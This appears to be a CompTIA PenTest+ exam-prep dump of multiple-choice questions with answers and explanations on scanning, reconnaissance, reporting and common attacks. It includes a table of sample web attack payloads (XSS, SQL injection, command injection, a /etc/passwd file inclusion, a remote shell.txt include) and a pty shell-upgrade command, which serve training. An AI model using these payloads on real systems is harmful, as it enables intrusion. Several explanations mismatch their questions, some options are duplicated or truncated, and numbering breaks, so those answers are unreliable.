

Exam Questions PT0-002

CompTIA PenTest+ Certification Exam

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NEW QUESTION 1

A penetration tester will be performing a vulnerability scan as part of the penetration test on a client's website. The tester plans to run several Nmap scripts that probe for vulnerabilities while avoiding detection. Which of the following Nmap options will the penetration tester MOST likely utilize?

- A. -8 -T0
- B. --script "http*vuln"
- C. -sn
- D. -O -A

Answer: B

Explanation:

Nmap is a tool that can perform network scanning and enumeration by sending packets to hosts and analyzing their responses. The command `Nmap -p 445 -n -T4 --open 172.21.0.0/16` would scan for SMB port 445 over a /16 network with the following options:

- > -p 445 specifies the port number to scan.
- > -n disables DNS resolution, which can speed up the scan by avoiding unnecessary queries.
- > -T4 sets the timing template to aggressive, which increases the speed of the scan by sending packets faster and waiting less for responses.
- > --open only shows hosts that have open ports, which can reduce the output and focus on relevant results.

The other commands are not optimal for scanning SMB port 445 over a /16 network when stealth is not a concern and the task is time sensitive.

NEW QUESTION 2

A penetration tester conducted a discovery scan that generated the following:

```
Starting nmap 6.40 ( http://nmap.org ) at 2021-02-01 13:56 CST
Nmap scan report for 192.168.0.1
Host is up (0.021s latency).
Nmap scan report for 192.168.0.140
Host is up (0.30s latency)
Nmap scan report for 192.168.0.149
Host is up (0.20s latency).
Nmap scan report for 192.168.0.184
Host is up (0.0017s latency).
Nmap done: IP addresses (4 hosts up) scanned in 37.26 seconds
```

Which of the following commands generated the results above and will transform them into a list of active hosts for further analysis?

- A. `nmap -oG list.txt 192.168.0.1-254 , sort`
- B. `nmap -sn 192.168.0.1-254 , grep "Nmap scan" | awk '{print $5}'`
- C. `nmap --open 192.168.0.1-254, uniq`
- D. `nmap -o 192.168.0.1-254, cut -f 2`

Answer: B

Explanation:

the NMAP flag (-sn) which is for host discovery and returns that kind of NMAP output. And the AWK command selects column 5 ({print \$5}) which obviously carries the returned IP of the host in the NMAP output.

This command will generate the results shown in the image and transform them into a list of active hosts for further analysis. The command consists of three parts:

- > `nmap -sn 192.168.0.1-254`: This part uses nmap, a network scanning tool, to perform a ping scan (-sn) on the IP range 192.168.0.1-254, which means sending ICMP echo requests to each IP address and checking if they respond.
- > `grep "Nmap scan"`: This part uses grep, a text filtering tool, to search for the string "Nmap scan" in the output of the previous part and display only the matching lines. This will filter out the lines that show the start and end time of the scan and only show the lines that indicate the status of each host.
- > `awk '{print $5}'`: This part uses awk, a text processing tool, to print the fifth field (\$5) of each line in the output of the previous part. This will extract only the IP addresses of each host and display them as a list.

The final output will look something like this: 192.168.0.1 192.168.0.12 192.168.0.17 192.168.0.34

NEW QUESTION 3

A customer adds a requirement to the scope of a penetration test that states activities can only occur during normal business hours. Which of the following BEST describes why this would be necessary?

- A. To meet PCI DSS testing requirements
- B. For testing of the customer's SLA with the ISP
- C. Because of concerns regarding bandwidth limitations
- D. To ensure someone is available if something goes wrong

Answer: D

NEW QUESTION 4

A CentOS computer was exploited during a penetration test. During initial reconnaissance, the penetration tester discovered that port 25 was open on an internal Sendmail server. To remain stealthy, the tester ran the following command from the attack machine:

```
ssh root@10.10.1.1 -L5555:10.10.1.2:25
```

Which of the following would be the BEST command to use for further progress into the targeted network?

- A. nc 10.10.1.2
- B. ssh 10.10.1.2
- C. nc 127.0.0.1 5555
- D. ssh 127.0.0.1 5555

Answer: C

NEW QUESTION 5

A penetration tester is reviewing the following DNS reconnaissance results for comptia.org from dig: comptia.org. 3569 IN MX comptia.org-mail.protection.outlook.com. comptia.org. 3569 IN A 3.219.13.186.

comptia.org.

3569 IN NS ns1.comptia.org. comptia.org. 3569 IN SOA haven. administrator.comptia.org. comptia.org. 3569 IN MX new.mx0.comptia.org. comptia.org. 3569 IN MX new.mx1.comptia.org.

Which of the following potential issues can the penetration tester identify based on this output?

- A. At least one of the records is out of scope.
- B. There is a duplicate MX record.
- C. The NS record is not within the appropriate domain.
- D. The SOA records outside the comptia.org domain.

Answer: A

NEW QUESTION 6

During the reconnaissance phase, a penetration tester obtains the following output:

Reply from 192.168.1.23: bytes=32 time<54ms TTL=128

Reply from 192.168.1.23: bytes=32 time<53ms TTL=128

Reply from 192.168.1.23: bytes=32 time<60ms TTL=128

Reply from 192.168.1.23: bytes=32 time<51ms TTL=128

Which of the following operating systems is MOST likely installed on the host?

- A. Linux
- B. NetBSD
- C. Windows
- D. macOS

Answer: C

Explanation:

The output shows the result of a ping command, which sends packets to a host and receives replies. The ping command can be used to determine if a host is alive and reachable on the network. One of the information that the ping command displays is the Time to Live (TTL) value, which indicates how many hops a packet can travel before it is discarded. The TTL value can also be used to guess the operating system of the host, as different operating systems have different default TTL values. In this case, the TTL value is 128, which is the default value for Windows operating systems. Linux and macOS have a default TTL value of 64, while NetBSD has a default TTL value of 255.

NEW QUESTION 7

A penetration tester logs in as a user in the cloud environment of a company. Which of the following Pacu modules will enable the tester to determine the level of access of the existing user?

- A. iam_enum_permissions
- B. iam_privesc_scan
- C. iam_backdoor_assume_role
- D. iam_bruteforce_permissions

Answer: A

Explanation:

The iam_enum_permissions module will enable the tester to determine the level of access of the existing user in the cloud environment of a company, as it will list all permissions associated with an IAM user³. IAM (Identity and Access Management) is a service that enables users to manage access and permissions for AWS resources. Pacu is a tool that can be used to perform penetration testing on AWS environments⁴.

NEW QUESTION 8

An assessor wants to use Nmap to help map out a stateful firewall rule set. Which of the following scans will the assessor MOST likely run?

- A. nmap 192.168.0.1/24
- B. nmap 192.168.0.1/24
- C. nmap oG 192.168.0.1/24
- D. nmap 192.168.0.1/24

Answer: A

NEW QUESTION 9

Which of the following is the MOST effective person to validate results from a penetration test?

- A. Third party
- B. Team leader
- C. Chief Information Officer
- D. Client

Answer: B

NEW QUESTION 10

While performing the scanning phase of a penetration test, the penetration tester runs the following command:

```
.....v -sV -p- 10.10.10.23-28
```

...ip scan is finished, the penetration tester notices all hosts seem to be down.

Which of the following options should the penetration tester try next?

- A. -su
- B. -pn
- C. -sn
- D. -ss

Answer: B

Explanation:

The command `nmap -v -sV -p- 10.10.10.23-28` is a command that performs a port scan using nmap, which is a tool that can perform network scanning and enumeration by sending packets to hosts and analyzing their responses¹. The command has the following options:

> -v enables verbose mode, which increases the amount of information displayed by nmap

> -p- specifies that all ports from 1 to 65535 should be scanned

* 10.10.10.23-28 specifies the range of IP addresses to be scanned

The command does not have any option for host discovery, which is a process that determines which hosts are alive or reachable on a network by sending probes such as ICMP echo requests, TCP SYN packets, or ACK packets. Host discovery can help speed up the scan by avoiding scanning hosts that are down or do not respond. However, some hosts may be configured to block or ignore host discovery probes, which can cause nmap to report them as down even if they are up. To avoid this problem, the penetration tester should use the `-Pn` option, which skips host discovery and assumes that all hosts are up. This option can force nmap to scan all hosts regardless of their response to host discovery probes, and may reveal some hosts that were previously missed. The other options are not valid options that the penetration tester should try next. The `-su` option does not exist in nmap, and would cause an error. The `-sn` option performs a ping scan and lists hosts that respond, but it does not scan any ports or services, which is not useful for the penetration test. The `-ss` option does not exist in nmap, and would cause an error.

NEW QUESTION 10

You are a security analyst tasked with hardening a web server.

You have been given a list of HTTP payloads that were flagged as malicious. INSTRUCTIONS

Given the following attack signatures, determine the attack type, and then identify the associated remediation to prevent the attack in the future.

If at any time you would like to bring back the initial state of the simulation, please click the Reset All button.

HTTP Request Payload Table

Payloads	Vulnerability Type	Remediation
#inner-tab"><script>alert(1)</script>	<ul style="list-style-type: none"> Command Injection DOM-based Cross Site Scripting SQL Injection (Error) SQL Injection (Stacked) SQL Injection (Union) Reflected Cross Site Scripting Local File Inclusion Remote File Inclusion URL Redirect 	<ul style="list-style-type: none"> Parameterized queries Preventing external calls Input Sanitization ... \ / . sandbox requests Input Sanitization ... \$ [] () Input Sanitization ... < > <
item=widget";waitfor%20delay%20'00:00:20';--	<ul style="list-style-type: none"> Command Injection DOM-based Cross Site Scripting SQL Injection (Error) SQL Injection (Stacked) SQL Injection (Union) Reflected Cross Site Scripting Local File Inclusion Remote File Inclusion URL Redirect 	<ul style="list-style-type: none"> Parameterized queries Preventing external calls Input Sanitization ... \ / . sandbox requests Input Sanitization ... \$ [] () Input Sanitization ... < > <
item=widget%20union%20select%20null,null,@version;--	<ul style="list-style-type: none"> Command Injection DOM-based Cross Site Scripting SQL Injection (Error) SQL Injection (Stacked) SQL Injection (Union) Reflected Cross Site Scripting Local File Inclusion Remote File Inclusion URL Redirect 	<ul style="list-style-type: none"> Parameterized queries Preventing external calls Input Sanitization ... \ / . sandbox requests Input Sanitization ... \$ [] () Input Sanitization ... < > <
search=Bob%3e%3cimg%20src%3d%20onerror%3dalert(1)%3e	<ul style="list-style-type: none"> Command Injection DOM-based Cross Site Scripting SQL Injection (Error) SQL Injection (Stacked) SQL Injection (Union) Reflected Cross Site Scripting Local File Inclusion Remote File Inclusion URL Redirect 	<ul style="list-style-type: none"> Parameterized queries Preventing external calls Input Sanitization ... \ / . sandbox requests Input Sanitization ... \$ [] () Input Sanitization ... < > <
item=widget"+convert(int,@version)*"	<ul style="list-style-type: none"> Command Injection DOM-based Cross Site Scripting SQL Injection (Error) SQL Injection (Stacked) SQL Injection (Union) Reflected Cross Site Scripting Local File Inclusion Remote File Inclusion URL Redirect 	<ul style="list-style-type: none"> Parameterized queries Preventing external calls Input Sanitization ... \ / . sandbox requests Input Sanitization ... \$ [] () Input Sanitization ... < > <
site=www.exe'ping%20-c%2010%20localhost'mple.com	<ul style="list-style-type: none"> Command Injection DOM-based Cross Site Scripting SQL Injection (Error) SQL Injection (Stacked) SQL Injection (Union) Reflected Cross Site Scripting Local File Inclusion Remote File Inclusion URL Redirect 	<ul style="list-style-type: none"> Parameterized queries Preventing external calls Input Sanitization ... \ / . sandbox requests Input Sanitization ... \$ [] () Input Sanitization ... < > <
redir=http:%2f%2fwww.malicious-site.com	<ul style="list-style-type: none"> Command Injection DOM-based Cross Site Scripting SQL Injection (Error) SQL Injection (Stacked) SQL Injection (Union) Reflected Cross Site Scripting Local File Inclusion Remote File Inclusion URL Redirect 	<ul style="list-style-type: none"> Parameterized queries Preventing external calls Input Sanitization ... \ / . sandbox requests Input Sanitization ... \$ [] () Input Sanitization ... < > <
logfile=%2fetc%2fpasswd%00	<ul style="list-style-type: none"> Command Injection DOM-based Cross Site Scripting SQL Injection (Error) SQL Injection (Stacked) SQL Injection (Union) Reflected Cross Site Scripting Local File Inclusion Remote File Inclusion URL Redirect 	<ul style="list-style-type: none"> Parameterized queries Preventing external calls Input Sanitization ... \ / . sandbox requests Input Sanitization ... \$ [] () Input Sanitization ... < > <
lookup=\$(whoami)	<ul style="list-style-type: none"> Command Injection DOM-based Cross Site Scripting SQL Injection (Error) SQL Injection (Stacked) SQL Injection (Union) Reflected Cross Site Scripting Local File Inclusion Remote File Inclusion URL Redirect 	<ul style="list-style-type: none"> Parameterized queries Preventing external calls Input Sanitization ... \ / . sandbox requests Input Sanitization ... \$ [] () Input Sanitization ... < > <
logfile=http:%2f%2fwww.malicious-site.com%2fshell.txt	<ul style="list-style-type: none"> Command Injection DOM-based Cross Site Scripting SQL Injection (Error) SQL Injection (Stacked) SQL Injection (Union) Reflected Cross Site Scripting Local File Inclusion Remote File Inclusion URL Redirect 	<ul style="list-style-type: none"> Parameterized queries Preventing external calls Input Sanitization ... \ / . sandbox requests Input Sanitization ... \$ [] () Input Sanitization ... < > <

- A. Mastered
- B. Not Mastered

Answer: A

Explanation:

- * 1. Reflected XSS - Input sanitization (<> ...)
- * 2. Sql Injection Stacked - Parameterized Queries
- * 3. DOM XSS - Input Sanitization (<> ...)
- * 4. Local File Inclusion - sandbox req
- * 5. Command Injection - sandbox req
- * 6. SQLi union - paramtrized queries
- * 7. SQLi error - paramtrized queries

- * 8. Remote File Inclusion - sandbox
- * 9. Command Injection - input sanitization
- * 10. URL redirect - prevent external calls

NEW QUESTION 14

A penetration tester successfully performed an exploit on a host and was able to hop from VLAN 100 to VLAN 200. VLAN 200 contains servers that perform financial transactions, and the penetration tester now wants the local interface of the attacker machine to have a static ARP entry in the local cache. The attacker machine has the following:

IP Address: 192.168.1.63

Physical Address: 60-36-dd-a6-c5-33

Which of the following commands would the penetration tester MOST likely use in order to establish a static ARP entry successfully?

- A. `tcpdump -i eth01 arp and arp[6:2] == 2`
- B. `arp -s 192.168.1.63 60-36-DD-A6-C5-33`
- C. `ipconfig /all findstr /v 00-00-00 | findstr Physical`
- D. `route add 192.168.1.63 mask 255.255.255.255.0 192.168.1.1`

Answer: B

Explanation:

The `arp` command is used to manipulate or display the Address Resolution Protocol (ARP) cache, which is a table that maps IP addresses to physical addresses (MAC addresses) on a network. The `-s` option is used to add a static ARP entry to the cache, which means that it will not expire or be overwritten by dynamic ARP entries. The syntax for adding a static ARP entry is `arp -s <IP address> <physical address>`. Therefore, the command `arp -s 192.168.1.63 60-36-DD-A6-C5-33` would add a static ARP entry for the IP address 192.168.1.63 and the physical address 60-36-DD-A6-C5-33 to the local cache of the attacker machine. This would allow the attacker machine to communicate with the target machine without relying on ARP requests or replies. The other commands are not valid or useful for establishing a static ARP entry.

NEW QUESTION 19

A red-team tester has been contracted to emulate the threat posed by a malicious insider on a company's network, with the constrained objective of gaining access to sensitive personnel files. During the assessment, the red-team tester identifies an artifact indicating possible prior compromise within the target environment.

Which of the following actions should the tester take?

- A. Perform forensic analysis to isolate the means of compromise and determine attribution.
- B. Incorporate the newly identified method of compromise into the red team's approach.
- C. Create a detailed document of findings before continuing with the assessment.
- D. Halt the assessment and follow the reporting procedures as outlined in the contract.

Answer: D

Explanation:

Halting the assessment and following the reporting procedures as outlined in the contract is the best action to take after identifying that an application being tested has already been compromised with malware. This is because continuing the assessment might interfere with an ongoing investigation or compromise evidence collection. The reporting procedures are part of the contract that specifies how to handle any critical issues or incidents during the penetration testing engagement. They should include details such as who to contact, what information to provide, and what steps to follow.

NEW QUESTION 20

A company hired a penetration tester to do a social-engineering test against its employees. Although the tester did not find any employees' phone numbers on the company's website, the tester has learned the complete phone catalog was published there a few months ago.

In which of the following places should the penetration tester look FIRST for the employees' numbers?

- A. Web archive
- B. GitHub
- C. File metadata
- D. Underground forums

Answer: A

NEW QUESTION 23

A penetration tester is conducting an assessment against a group of publicly available web servers and notices a number of TCP resets returning from one of the web servers. Which of the following is MOST likely causing the TCP resets to occur during the assessment?

- A. The web server is using a WAF.
- B. The web server is behind a load balancer.
- C. The web server is redirecting the requests.
- D. The local antivirus on the web server is rejecting the connection.

Answer: A

Explanation:

A Web Application Firewall (WAF) is designed to monitor, filter or block traffic to a web application. A WAF will monitor incoming and outgoing traffic from a web application and is often used to protect web servers from attacks such as SQL Injection, Cross-Site Scripting (XSS), and other forms of attacks. If a WAF detects an attack, it will often reset the TCP connection, causing the connection to be terminated. As a result, a penetration tester may see TCP resets when a WAF is present. Therefore, the most likely reason for the TCP resets returning from the web server is that the web server is using a WAF.

NEW QUESTION 25

Which of the following is the MOST important information to have on a penetration testing report that is written for the developers?

- A. Executive summary
- B. Remediation
- C. Methodology
- D. Metrics and measures

Answer: B

Explanation:

The most important information to have on a penetration testing report that is written for the developers is remediation. Remediation is the process of fixing or mitigating the vulnerabilities or issues that were discovered during the penetration testing. Remediation should include specific recommendations, best practices, and resources to help the developers improve the security of their applications.

NEW QUESTION 26

A penetration tester who is working remotely is conducting a penetration test using a wireless connection. Which of the following is the BEST way to provide confidentiality for the client while using this connection?

- A. Configure wireless access to use a AAA server.
- B. Use random MAC addresses on the penetration testing distribution.
- C. Install a host-based firewall on the penetration testing distribution.
- D. Connect to the penetration testing company's VPS using a VPN.

Answer: D

Explanation:

The best way to provide confidentiality for the client while using a wireless connection is to connect to the penetration testing company's VPS using a VPN. This will encrypt the traffic between the penetration tester and the VPS, and prevent any eavesdropping or interception by third parties. A VPN will also allow the penetration tester to access the client's network securely and bypass any firewall or network restrictions.

NEW QUESTION 27

A penetration tester who is conducting a vulnerability assessment discovers that ICMP is disabled on a network segment. Which of the following could be used for a denial-of-service attack on the network segment?

- A. Smurf
- B. Ping flood
- C. Fraggle
- D. Ping of death

Answer: C

Explanation:

Fraggle attack is same as a Smurf attack but rather than ICMP, UDP protocol is used. The prevention of these attacks is almost identical to Fraggle attack.
Ref: <https://www.okta.com/identity-101/fraggle-attack/>

NEW QUESTION 31

Which of the following types of information should be included when writing the remediation section of a penetration test report to be viewed by the systems administrator and technical staff?

- A. A quick description of the vulnerability and a high-level control to fix it
- B. Information regarding the business impact if compromised
- C. The executive summary and information regarding the testing company
- D. The rules of engagement from the assessment

Answer: A

Explanation:

The systems administrator and the technical staff would be more interested in the technical aspect of the findings

NEW QUESTION 32

During a penetration test, a tester is able to change values in the URL from `example.com/login.php?id=5` to `example.com/login.php?id=10` and gain access to a web application. Which of the following vulnerabilities has the penetration tester exploited?

- A. Command injection
- B. Broken authentication
- C. Direct object reference
- D. Cross-site scripting

Answer: C

Explanation:

Insecure direct object reference (IDOR) is a vulnerability where the developer of the application does not implement authorization features to verify that someone accessing data on the site is allowed to access that data.

NEW QUESTION 35

A penetration tester completed a vulnerability scan against a web server and identified a single but severe vulnerability. Which of the following is the BEST way to ensure this is a true positive?

- A. Run another scanner to compare.

- B. Perform a manual test on the server.
- C. Check the results on the scanner.
- D. Look for the vulnerability online.

Answer: B

NEW QUESTION 40

During a penetration test, a tester is in close proximity to a corporate mobile device belonging to a network administrator that is broadcasting Bluetooth frames. Which of the following is an example of a Bluesnarfing attack that the penetration tester can perform?

- A. Sniff and then crack the WPS PIN on an associated WiFi device.
- B. Dump the user address book on the device.
- C. Break a connection between two Bluetooth devices.
- D. Transmit text messages to the device.

Answer: B

Explanation:

Bluesnarfing is the unauthorized access of information from a wireless device through a Bluetooth connection, often between phones, desktops, laptops, and PDAs. This allows access to calendars, contact lists, emails and text messages, and on some phones, users can copy pictures and private videos.

NEW QUESTION 43

A penetration tester is able to use a command injection vulnerability in a web application to get a reverse shell on a system. After running a few commands, the tester runs the following:

```
python -c 'import pty; pty.spawn("/bin/bash")'
```

Which of the following actions is the penetration tester performing?

- A. Privilege escalation
- B. Upgrading the shell
- C. Writing a script for persistence
- D. Building a bind shell

Answer: B

Explanation:

The penetration tester is performing an action called upgrading the shell, which means improving the functionality and interactivity of the shell. By running the python command, the penetration tester is spawning a new bash shell that has features such as tab completion, command history, and job control. This can help the penetration tester to execute commands more easily and efficiently.

NEW QUESTION 48

A penetration tester is starting an assessment but only has publicly available information about the target company. The client is aware of this exercise and is preparing for the test.

Which of the following describes the scope of the assessment?

- A. Partially known environment testing
- B. Known environment testing
- C. Unknown environment testing
- D. Physical environment testing

Answer: C

NEW QUESTION 50

Penetration-testing activities have concluded, and the initial findings have been reviewed with the client. Which of the following best describes the NEXT step in the engagement?

- A. Acceptance by the client and sign-off on the final report
- B. Scheduling of follow-up actions and retesting
- C. Attestation of findings and delivery of the report
- D. Review of the lessons learned during the engagement

Answer: C

NEW QUESTION 51

When accessing the URL <http://192.168.0-1/validate/user.php>, a penetration tester obtained the following output:

```
..d index: eid in /apache/www/validate/user.php line 12  
..d index: uid in /apache/www/validate/user.php line 13  
..d index: pw in /apache/www/validate/user.php line 14  
..d index: acl in /apache/www/validate/user.php line 15
```

- A. Lack of code signing
- B. Incorrect command syntax
- C. Insufficient error handling
- D. Insecure data transmission

Answer: C

Explanation:

The most probable cause for this output is insufficient error handling, which is a coding flaw that occurs when a program does not handle errors or exceptions properly or gracefully. Insufficient error handling can result in unwanted or unexpected behavior, such as crashes, hangs, or leaks. In this case, the output shows that the program is displaying warning messages that indicate undefined indexes in the user.php file. These messages reveal the names of the variables and the file path that are used by the program, which can expose sensitive information or clues to an attacker. The program should have implemented error handling mechanisms, such as try-catch blocks, error logging, or sanitizing output, to prevent these messages from being displayed or to handle them appropriately. The other options are not plausible causes for this output. Lack of code signing is a security flaw that occurs when a program does not have a digital signature that verifies its authenticity and integrity. Incorrect command syntax is a user error that occurs when a command is entered with wrong or missing parameters or options. Insecure data transmission is a security flaw that occurs when data is sent over a network without encryption or protection.

NEW QUESTION 55

A penetration tester who is doing a company-requested assessment would like to send traffic to another system using double tagging. Which of the following techniques would BEST accomplish this goal?

- A. RFID cloning
- B. RFID tagging
- C. Meta tagging
- D. Tag nesting

Answer: D

Explanation:

since vlan hopping requires 2 vlans to be nested in a single packet. Double tagging occurs when an attacker adds and modifies tags on an Ethernet frame to allow the sending of packets through any VLAN. This attack takes advantage of how many switches process tags. Most switches will only remove the outer tag and forward the frame to all native VLAN ports. With that said, this exploit is only successful if the attacker belongs to the native VLAN of the trunk link.

<https://cybersecurity.att.com/blogs/security-essentials/vlan-hopping-and-mitigation>

Tag nesting is a technique that involves inserting two VLAN tags into an Ethernet frame to bypass VLAN hopping prevention mechanisms. The first tag is stripped by the first switch, and the second tag is processed by the second switch, allowing the frame to reach a different VLAN than intended. RFID cloning is a technique that involves copying the data from an RFID tag to another tag or device. RFID tagging is a technique that involves attaching an RFID tag to an object or person for identification or tracking purposes. Meta tagging is a technique that involves adding metadata to web pages or files for search engine optimization or classification purposes.

NEW QUESTION 58

Penetration tester has discovered an unknown Linux 64-bit executable binary. Which of the following tools would be BEST to use to analyze this issue?

- A. Peach
- B. WinDbg
- C. GDB
- D. OllyDbg

Answer: C

Explanation:

OLLYDBG, WinDBG, and IDA are all debugging tools that support Windows environments. GDB is a Linuxspecific debugging tool.

GDB is a tool that can be used to analyze and debug executable binaries, especially on Linux systems. GDB can disassemble, decompile, set breakpoints, examine memory, modify registers, and perform other operations on binaries. GDB can help a penetration tester understand the functionality, behavior, and vulnerabilities of an unknown binary. Peach is a tool that can be used to perform fuzzing, which is a technique of sending malformed or random data to a target to trigger errors or crashes. WinDbg and OllyDbg are tools that can be used to analyze and debug executable binaries, but they are mainly designed for Windows systems.

NEW QUESTION 60

Which of the following is the BEST resource for obtaining payloads against specific network infrastructure products?

- A. Exploit-DB
- B. Metasploit
- C. Shodan
- D. Retina

Answer: A

Explanation:

"Exploit Database (ExploitDB) is a repository of exploits for the purpose of public security, and it explains what can be found on the database. The ExploitDB is a very useful resource for identifying possible weaknesses in your network and for staying up to date on current attacks occurring in other networks"

Exploit-DB is a website that collects and archives exploits for various software and hardware products, including network infrastructure devices. Exploit-DB allows users to search for exploits by product name, vendor, type, platform, CVE number, or date. Exploit-DB is a useful resource for obtaining payloads against specific network infrastructure products. Metasploit is a framework that contains many exploits and payloads, but it is not a resource for obtaining them. Shodan is a search engine that scans the internet for devices and services, but it does not provide exploits or payloads. Retina is a vulnerability scanner that identifies weaknesses in network devices, but it does not provide exploits or payloads.

NEW QUESTION 61

A private investigation firm is requesting a penetration test to determine the likelihood that attackers can gain access to mobile devices and then exfiltrate data from those devices. Which of the following is a social-engineering method that, if successful, would MOST likely enable both objectives?

- A. Send an SMS with a spoofed service number including a link to download a malicious application.
- B. Exploit a vulnerability in the MDM and create a new account and device profile.
- C. Perform vishing on the IT help desk to gather a list of approved device IMEIs for masquerading.
- D. Infest a website that is often used by employees with malware targeted toward x86 architectures.

Answer: A

Explanation:

Since it doesn't indicate company owned devices, sending a text to download an application is best. And it says social-engineering so a spoofed text falls under that area.

NEW QUESTION 66

Given the following code:

```
systems = {  
    "10.10.10.1" : "Windows 10",  
    "10.10.10.2" : "Windows 10",  
    "10.10.10.3" : "Windows 2016",  
    "10.10.10.4" : "Linux"  
}
```

Which of the following data structures is systems?

- A. A tuple
- B. A tree
- C. An array
- D. A dictionary

Answer: D

Explanation:

A dictionary is a data structure in Python that stores key-value pairs, where each key is associated with a value. A dictionary is created by enclosing the key-value pairs in curly braces and separating them by commas. A dictionary can be accessed by using the keys as indexes or by using methods such as keys(), values(), or items(). In the code, systems is a dictionary that has four key-value pairs, each representing an IP address and its corresponding operating system. A tuple is a data structure in Python that stores an ordered sequence of immutable values, enclosed in parentheses and separated by commas. A tree is a data structure that consists of nodes connected by edges, forming a hierarchical structure with a root node and leaf nodes. An array is a data structure that stores a collection of elements of the same type in a contiguous memory location.

NEW QUESTION 69

A penetration tester is preparing to perform activities for a client that requires minimal disruption to company operations. Which of the following are considered passive reconnaissance tools? (Choose two.)

- A. Wireshark
- B. Nessus
- C. Retina
- D. Burp Suite
- E. Shodan
- F. Nikto

Answer: AE

Explanation:

Wireshark and Shodan are two tools that can be used to perform passive reconnaissance, which means collecting information from publicly available sources without interacting with the target or revealing one's identity. Wireshark is a tool that can be used to capture and analyze network traffic, such as packets, protocols, or sessions, without sending any data to the target. Shodan is a tool that can be used to search for devices or services on the internet, such as web servers, routers, cameras, or firewalls, without contacting them directly. The other tools are not passive reconnaissance tools, but rather active reconnaissance tools, which means interacting with the target or sending data to it. Nessus and Retina are tools that can be used to perform vulnerability scanning, which involves sending probes or requests to the target and analyzing its responses for potential weaknesses. Burp Suite is a tool that can be used to perform web application testing, which involves intercepting and modifying web requests and responses between the browser and the server.

NEW QUESTION 72

A client would like to have a penetration test performed that leverages a continuously updated TTPs framework and covers a wide variety of enterprise systems and networks. Which of the following methodologies should be used to BEST meet the client's expectations?

- A. OWASP Top 10
- B. MITRE ATT&CK framework
- C. NIST Cybersecurity Framework
- D. The Diamond Model of Intrusion Analysis

Answer: B

Explanation:

The MITRE ATT&CK framework is a methodology that should be used to best meet the client's expectations. The MITRE ATT&CK framework is a knowledge base of adversary tactics, techniques, and procedures (TTPs) that are continuously updated based on real-world observations. The framework covers a wide variety of enterprise systems and networks, such as Windows, Linux, macOS, cloud, mobile, and network devices. The framework can help the penetration tester to emulate realistic threats and identify gaps in defenses.

NEW QUESTION 76

During an assessment, a penetration tester gathered OSINT for one of the IT systems administrators from the target company and managed to obtain valuable information, including corporate email addresses. Which of the following techniques should the penetration tester perform NEXT?

- A. Badge cloning
- B. Watering-hole attack
- C. Impersonation
- D. Spear phishing

Answer: D

Explanation:

Spear phishing is a type of targeted attack where the attacker sends emails that appear to come from a legitimate source, often a company or someone familiar to the target, with the goal of tricking the target into clicking on a malicious link or providing sensitive information. In this case, the penetration tester has already gathered OSINT on the IT system administrator, so they can use this information to craft a highly targeted spear phishing attack to try and gain access to the target system.

NEW QUESTION 77

A penetration tester who is performing an engagement notices a specific host is vulnerable to EternalBlue. Which of the following would BEST protect against this vulnerability?

- A. Network segmentation
- B. Key rotation
- C. Encrypted passwords
- D. Patch management

Answer: D

Explanation:

Patch management is the process of identifying, downloading, and installing security patches for a system in order to address new vulnerabilities and software exploits. In the case of EternalBlue, the vulnerability was addressed by Microsoft in the form of a security patch. Installing this patch on the vulnerable host will provide protection from the vulnerability. Additionally, organizations should implement a patch management program to regularly check for and install security patches for the systems in their environment.

Network segmentation (A) can limit the impact of a compromise by separating different parts of the network into smaller, more isolated segments. However, it does not address the vulnerability itself.

Key rotation (B) is the process of periodically changing cryptographic keys, which can help protect against attacks that rely on stolen or compromised keys. However, it is not directly related to the EternalBlue vulnerability.

Encrypted passwords (C) can help protect user credentials in case of a data breach or other compromise, but it does not prevent attackers from exploiting the EternalBlue vulnerability.

NEW QUESTION 82

During a web application test, a penetration tester was able to navigate to <https://company.com> and view all links on the web page. After manually reviewing the pages, the tester used a web scanner to automate the search for vulnerabilities. When returning to the web application, the following message appeared in the browser: unauthorized to view this page. Which of the following BEST explains what occurred?

- A. The SSL certificates were invalid.
- B. The tester IP was blocked.
- C. The scanner crashed the system.
- D. The web page was not found.

Answer: B

Explanation:

The most likely explanation for what occurred is that the tester IP was blocked by the web server. The web server may have detected the web scanner as a malicious or suspicious activity and blocked the tester's IP address from accessing the web application. This could result in an unauthorized to view this page message in the browser.

NEW QUESTION 85

A penetration-testing team needs to test the security of electronic records in a company's office. Per the terms of engagement, the penetration test is to be conducted after hours and should not include circumventing the alarm or performing destructive entry. During outside reconnaissance, the team sees an open door from an adjoining building. Which of the following would be allowed under the terms of the engagement?

- A. Prying the lock open on the records room
- B. Climbing in an open window of the adjoining building
- C. Presenting a false employee ID to the night guard
- D. Obstructing the motion sensors in the hallway of the records room

Answer: B

Explanation:

The terms of engagement state that the penetration test should not include circumventing the alarm or performing destructive entry, which rules out options A and D. Option C is also not allowed, as it involves social engineering, which is not part of the scope. Option B is the only one that does not violate the terms of engagement, as it uses an open door from an adjoining building to gain access to the records room. This can help the penetration tester to test the physical security of the electronic records without breaking any rules.

NEW QUESTION 89

A large client wants a penetration tester to scan for devices within its network that are Internet facing. The client is specifically looking for Cisco devices with no authentication requirements. Which of the following settings in Shodan would meet the client's requirements?

- A. "cisco-ios" "admin+1234"
- B. "cisco-ios" "no-password"
- C. "cisco-ios" "default-passwords"
- D. "cisco-ios" "last-modified"

Answer: B

NEW QUESTION 94

Scanning URL: http://10.2.10.13/ ---
+
http://10.2.10.13/about (CODE:200|SIZE:1520)
+
http://10.2.10.13/home.html (CODE:200|SIZE:214)
+
http://10.2.10.13/index.html (CODE:200|SIZE:214)
+
http://10.2.10.13/info (CODE:200|SIZE:214)

...
DOWNLOADED: 4612 – FOUND: 4

Which of the following elements is MOST likely to contain useful information for the penetration tester?

- A. index.html
- B. about
- C. info
- D. home.html

Answer: B

Explanation:

The element /about is most likely to contain useful information for the penetration tester, as it may reveal details about the website's owner, purpose, history, contact information, etc. This information can be used for further reconnaissance, social engineering, or identifying potential vulnerabilities.

NEW QUESTION 110

A company recruited a penetration tester to configure wireless IDS over the network. Which of the following tools would BEST test the effectiveness of the wireless IDS solutions?

- A. Aircrack-ng
- B. Wireshark
- C. Wifite
- D. Kismet

Answer: A

Explanation:

Aircrack-ng is a suite of tools that allows the penetration tester to test the effectiveness of the wireless IDS solutions by performing various attacks on wireless networks, such as cracking WEP and WPA keys, capturing and injecting packets, deauthenticating clients, or creating fake access points. Aircrack-ng can also generate different types of traffic and signatures that can trigger the wireless IDS alerts or responses, such as ARP requests, EAPOL frames, or beacon frames.

NEW QUESTION 111

The attacking machine is on the same LAN segment as the target host during an internal penetration test. Which of the following commands will BEST enable the attacker to conduct host delivery and write the discovery to files without returning results of the attack machine?

